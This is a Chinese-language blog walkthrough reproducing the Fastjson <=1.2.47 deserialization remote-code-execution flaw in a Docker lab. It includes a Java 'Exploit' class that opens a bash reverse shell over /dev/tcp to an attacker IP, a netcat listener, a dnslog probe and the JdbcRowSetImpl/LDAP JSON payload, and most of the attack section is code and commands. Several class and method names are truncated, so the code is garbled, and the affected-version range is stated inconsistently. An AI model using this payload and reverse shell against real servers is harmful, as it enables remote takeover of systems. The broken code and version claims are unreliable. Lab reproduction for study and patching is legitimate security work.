Fastjson<=1.2.47反序列化漏洞复现
0x01 前⾔
Fastjson 是⼀个 Java 语⾔编写的⾼性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为Java 对象,在中国和美国使⽤较为⼴泛。
0x02 漏洞成因
Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执⾏ java 代码,具体分析可参考:
0x03 环境准备
docker 搜索 Fastjson 漏洞利⽤镜像:
docker search fastjson
这⾥选择 fastjson1.2.47_rce 镜像进⾏漏洞复现,将镜像 push 回本地:
docker push initidc/fastjson1.2.47_rce
查看本地镜像:
docker images
开启镜像:
docker run -it -p 8080:8080 a82832ac7f62
下载解压后进⼊ marshalsec ⽂件夹,使⽤ maven 编译出 jar 包(没有 maven ⾃⾏下载安装):
mvn clean package -DskipTests
编译完成后在 target ⽂件夹中到我们需要的 jar ⽂件:marshalsec-0.0.3-SNAPSHOT-all.jar
最后准备我们的攻击代码:
import BufferedReader;
import InputStream;
import InputStreamReader;
public class Exploit{
public Exploit()throws Exception {
Process p = Runtime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});//ip端⼝⾃⾏替换为接收shell地址
InputStream is = p.getInputStream();
BufferedReader reader =new BufferedReader(new InputStreamReader(is));
String line;
while((line = adLine())!=null){
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args)throws Exception {
}
}
编译出 .class ⽂件:
javac Exploit.java
OK,环境基本准备就绪。
0x04 漏洞复现
先进⾏ dnslog 探测尝试:
{"@type":"java.Inet4Address","val":"1.sap0b9.dnslog"}
dnslog 探测成功,利⽤攻击脚本进⾏攻击尝试。
⾸先利⽤ python 起 http ,将攻击代码挂起:python -m http.server 8888
攻击机监听端⼝:
nc -lvvp 8089
使⽤攻击 payload 进⾏反弹攻击:
{
"name":{
"@type":"java.lang.Class",
"val":"wset.JdbcRowSetImpl"
},
"x":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"ldap://:9999/Exploit",//你的ldap服务地址
"autoCommit":true
}
}
成功反弹 shell ,复现成功:
0x05 注意点
fastjson怎么用
利⽤ RMI 或 LDAP 对本地 jdk 版本有要求,利⽤ RMI 服务 jdk 版本必须低于 8u121 ,利⽤ LDAP 服务 jdk 版本必须低于 8u182 。
这是我本地 jdk 版本:
0x06 修复⽅案升级到最新版本~
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论